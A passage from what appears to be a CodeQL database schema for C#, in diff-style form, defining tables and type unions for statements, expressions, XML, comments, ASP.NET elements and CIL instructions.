@addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); 